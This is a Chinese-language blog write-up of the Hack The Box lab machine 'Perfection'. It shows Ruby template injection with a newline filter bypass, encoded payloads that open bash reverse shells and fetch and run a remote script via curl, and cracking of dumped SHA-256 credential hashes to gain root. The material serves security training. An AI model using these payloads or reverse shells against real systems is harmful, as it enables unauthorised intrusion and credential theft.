• HTB靶场 Perfection


    端口 打开了ssh和http服务

    访问 Perfection靶机的网站

    是一个根据权重计算总成绩的网站

    Wappalyzer查看网页用的什么编写搭建的

    抓包看一下是怎么工作的

    发送,,返回的结果

    如果我在 类别 后面多加一句命令

    就会出现提示  恶意输入阻止

    大概率有命令注入

    通过插件知道用的ruby语言

    存在SSTI(模板注入漏洞)

    SSTI (Server Side Template Injection) | HackTricks | HackTricks

    %0A是截断符号,它可以使bash在读取代码时读到这个符号时停止读取这一行的后续代码,取而代之的是接着执行后面的代码

    在传参中url编码会自动忽略空格要用“+”来代替上述语句

    将payload使用base64编码来进行嵌套,为了避免后面可能会有一些关键字过滤

    url encode key characte编码

    aaa%0A<%25%3d+File.open('/etc/passwd').read+%25>

    把<%= File.open('/etc/passwd').read %> 选中右键选择Convert Selection选择url 选择url encode key character  就得到<%25%3d+File.open('/etc/passwd').read+%25>

    有一个susan用户

    拿shell第一次失败,再次重试就成功了

    <%= `bash -c 'bash -i >& /dev/tcp/10.10.14.29/6666 0>&1'` %>

    -c 运行后边的字符串命令

    bash -i (交互式) 启动一个交互式bash shell

    >& 将这个shell的标准输出和标准错误输出都重定向到 与IP地址10.10.14.29在端口6666上建立的TCP连接中
    /dev/tcp打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,/dev/tcp/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口

    0标准输入 重定向 >& 1标准输出

    把它url encode key character 得到

    <%25%3d+`bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.29/6666+0>%261'`+%25>

    然后category1=

    ingles%0A<%25%3d+`bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.29/6666+0>%261'`+%25>

    拿到shell了

    拿shell第二次失败

     写个1.sh  内容为 
    bash -i >& /dev/tcp/10.10.14.29/6666 0>&1

    开启http服务

    python3 -m http.server 80 

    把<%= `curl http://10.10.14.29/1.sh|bash` %>编码
    <%25%3d+`curl+http://10.10.14.29/1.sh|bash`+%25>

    还是失败  状态码应该是504不是200

    拿shell第三次失败

    HTB靶机渗透之perfection(linux-easy)超详细!!!_webrick 1.7.0 漏洞-CSDN博客

    在burp的 decoder模块编码

    由于这个代码在输入网页后,发送到服务器前会被自动url编码,所以我们要对对应的字符手动进行url编码  

    %25对应的是%

    aaa%0a<%25恶意代码%25>;

    要让base64格式的payload能被正确在bash中读取,在linux系统中,我们可以通过echo来写入文件或是执行命令,然后调用base64 -d来解析payload,最后再用bash执行,“|”符号的作用就是分割语句

    其余恶意代码=echo+[payload]|+base64+-d+|+bash   (+表示空格)
    总的 category1=

    aaa%0a<%25=system("echo+payload|+base64+-d+|+bash);%25>;

    写一段反弹shell代码#!/bin/bash bash -i >& /dev/tcp/10.10.14.29/6666 0>&1

    经过base64编码

    拿到用户的flag

    现在就要提权了

    .sudo_as_admin_successful 我们只有读写,不能执行

    ssh密钥登录没必要尝试

    SSH 使用密钥远程登录_ssh用密钥登录-CSDN博客

    接着看.ssh目录有2个文件(都可以读写)  ssh是密钥登录

    authorized.keys是密钥对中的公钥

    authorized_keys用于存储允许通过 SSH 访问特定用户帐户的公钥。当用户尝试通过 SSH 连接到服务器时,服务器会使用此文件中的公钥验证用户的身份

    查看/etc/ssh/sshd_config

    PubkeyAuthentication  yes表示允许密钥访问

    susan服务器生成密钥对ssh-keygen

    服务器安装公钥 cat id_rsa.pub >> authorized_keys

    私钥./id_rsa拷贝到客户端

    然后我觉得就算登录成功,ssh依然是susan的shell

    换思路

    sudo -l  列出当前用户可以执行的sudo命令   执行不了sudo需要密码

    查找具有suid的权限 

    -type f 仅查找文件

    有fusermount3  查看版本fusermount3 --version
    fusermount3 version: 3.10.5

    fusermount3没有漏洞可以利用

    查找.txt、.db、.sql、.dump文件

    寻找和password有关的文件 grep -i password -R

    grep是文本搜索工具 -i不区分大小写 -R递归搜索,查找目录下的所有子目录

    find / -name "*.db" -type f 2>/dev/nul

    /home/susan/Migration/pupilpath_credentials.db是数据库文件

    靶机上虽然有sqlite3 但是不会显示任何内容

    试试 创造一个交互式shell

    python3 -c 'import pty;pty.spawn("/bin/bash")'

    成功显示交互内容

    sqlite3 .db

    .table

    select * from users;

    得到

    1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
    2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
    3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
    4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
    5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8

    没实验过

    或者把db文件下载到自己的机器

    开启http服务  curl上传文件到127.0.0.1

    curl -F "file=@pupilpath_credentials.db" http://127.0.0.1 

    查看包含用户名的文件

    find / -name "*susan*" -type f -ls 2>/dev/null

    cat /var/mail/susan

    所以说密码格式

    susan(名)_nasus(名字反过来)_一串数字

    hash-identifier hash码

    可以判断hash加密的算法是啥 sha256

    hashcat

    参考HTB Perfection_perfection htb-CSDN博客

     hashcat -m 1400 -a 3 -i --increment-min=1 --increment-max=10 hash.txt 'susan_nasus_?d?d?d?d?d?d?d?d?d?d'

    -m 1400 描述了哈希类型(SHA256)  0是MD5
    -a 3 使用掩码模式
    -i 以及 --increment-min=1 和 --increment-max=10 指定你要爆破的最小和最大长度
    ?d?d?d?d?d?d?d?d?d?d 是一个掩码字符串,用于生成尝试的密码  ?d 表示一位数字

    我的虚拟机内存不够 

    然后我就直接 看其他人的

    susan_nasus_413759210

    然后ssh登录 ssh susan@10.10.11.253

    sudo -i 就可以了

  • 相关阅读:
    mirai登陆失败反复验证码或提示登录存在安全风险的解决方法
    export default 导出的对象,不能解构问题,和module.exports的区别
    要闻 | 人大金仓重磅亮相2022南京软博会
    C#实现winform中渲染图的展示
    GaussDB SQL基础语法-变量&常量
    java split字符串作业
    SpringBoot【访问静态资源、整合JSP、Thymeleaf】(三)-全面详解(学习总结---从入门到深化)
    手动添加扩展到composer中
    RabbitMQ的架构模型
    Ajax
  • 原文地址:https://blog.csdn.net/m0_62438849/article/details/138010015